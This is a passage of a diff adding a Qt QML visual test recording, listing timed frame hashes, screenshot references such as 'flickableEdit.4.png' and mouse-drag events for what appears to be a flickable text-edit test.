+ hash: "7a87fe9484b00f8c7039e3129fc24fb5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 37; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "2f17e7980a28789d0f262e3682c2da27"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 42; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "0757f4c05233a25e6a8825b2c6052d8d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3136
+ hash: "799da712f376033efdbaf9a342e4bc3f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "bf7b2a29664fe4acf52d56c73cf079b1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3168
+ hash: "7928b280e7a9ab89217c9abf3b709cd2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "3102339f3e18640f6b508e88aafefb79"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3200
+ hash: "98cddfbea5b96f9dd08c5a3655155d35"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "5604b2f85c3a90f8b29da3fec2f6c509"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3232
+ hash: "5ca4055c8dded5d30c326d6d304da28d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "b0afe256f8f89a77a5fa87c023cda469"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "d7408be78c80e2b6e5848ee696a79ee0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "f7e12621527fd52e21595cfbf804879c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "6b8c9413ba1a791e42b06aaa711cdb4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "1c80e0f89033dedc66b236561042f4f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "6ec06d8844ff57e34af5316895250858"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "f3c0159243555e919fd736866b00a5ab"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "973ced5d6155240490acd6241610429d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "0aee5feb94508f70c62cc3255c53bc8a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 182; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "840cc661a50dd8bc1af8f6d53ccbece5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 187; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "34a470358ccfb7592cf47399ab6dbc19"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "25c53ff3977ca8422c545c1608782833"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 202; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3440
+ hash: "d4388550549d54e31640cda4672c3bfb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 213; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3456
+ hash: "8904c3b225a5e732fca4fc605d0fc12a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 216; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 219; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "415a630fc6a963e99a0e13bf5e461849"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 223; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 226; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "1526e90e0345e20a3455554c8f249de7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 229; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 233; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3504
+ hash: "2b215748d63e505469d343919b245af9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 235; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 238; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "6821e559cb1e45b0cd731c90c3b16934"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 241; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 243; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "334ddaa8c2cd0506528fe20a21991b03"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 245; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 247; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3552
+ hash: "6e651889e91d3de96d9aaf91f4ed9a2c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 250; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 251; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3568
+ hash: "0554f22d8079ef0213dc25f9f1b59055"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 252; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3584
+ hash: "1eb0805e4c706af1c7cfa113d32edda1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 255; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 256; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3600
+ hash: "482f30ca992e9f92241523a47125d9b4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 257; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 259; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3616
+ hash: "6b2bec317fad51fe85bab6a00ced9655"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 261; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 262; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "acc661684f507375518fc73fe081f61e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 263; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 265; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "f77143d0d7a3cf8c0163bf950940ad07"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 267; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "8d0407ae3f55305e1d9780deaa30c064"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 268; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3680
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 3696
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 3712
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3728
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3744
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3760
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3776
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3792
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3808
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3824
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3840
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3856
+ image: "flickableEdit.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3888
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3904
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3920
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3936
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3952
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3968
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3984
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4000
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4016
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4032
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4048
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4064
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4080
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4096
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4112
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4128
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4144
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4160
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4176
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4192
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4208
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4224
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4240
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4256
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4272
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4288
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4304
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4320
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4336
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4352
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4368
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4384
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4400
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4416
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4432
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4448
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4464
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4480
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4496
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4512
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4528
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4544
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4560
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4576
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4592
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4608
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4624
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4640
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4656
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4672
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4688
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4704
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4720
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4736
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4752
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4768
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4784
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4800
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4816
+ image: "flickableEdit.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4848
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4864
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4880
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "e5a6693779ffb4e8a333756690a8f9e0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 264; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 262; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "6acabe70146611091621ef5079cc97ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 259; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 256; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "f75b5eaa04bfec866f088f665edb225e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 249; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4944
+ hash: "1888acd9f3e48348c22e324d67ab2724"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 245; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 240; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4960
+ hash: "cd24be347f20371f9d0796fa4a38ad0c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 235; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 231; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4976
+ hash: "f39bc67a8e83340f8e89cf11c89fb27c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 222; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4992
+ hash: "80d8019485231c061ba1cf81fd4c42ca"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 217; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 213; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5008
+ hash: "72893900dfd007ea25a7d75982be6320"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "f3d02c4d2f0b8b75b0b6159c0ba8f4db"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5040
+ hash: "8ecdf1325bb2084bf6212216bd86b324"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 186; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5056
+ hash: "be5c62268b337c9d7f69ab01b02c816d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 182; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 178; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5072
+ hash: "a0eea6c818a1cb71809aff4613e9655d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5088
+ hash: "27fcf1d4cd00dc7ac54fa92f9c7e2ac2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5104
+ hash: "32f6bdc5e2f6ce34436a21dd8ee348dd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5120
+ hash: "4c11c9075429acd4acddc6ede4e5fe69"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5136
+ hash: "8fdaf03e0b03698613092303945787d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5152
+ hash: "d9bc269f21d5eade8bb9555d05a86744"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5168
+ hash: "f9dd0735682dba198febffcc85c9835a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5184
+ hash: "a98869bb654e3b4c1f4d9d0e7e24197a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5200
+ hash: "50ceb9d6d58129b71009079a0028e7c4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5216
+ hash: "6b8c9413ba1a791e42b06aaa711cdb4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5232
+ hash: "f7e12621527fd52e21595cfbf804879c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5248
+ hash: "d7408be78c80e2b6e5848ee696a79ee0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5264
+ hash: "e648f25a978b9f14cf71d5f1d90edf15"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5280
+ hash: "64ce73aa32f2c08f4cee9a35a103a1d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 19
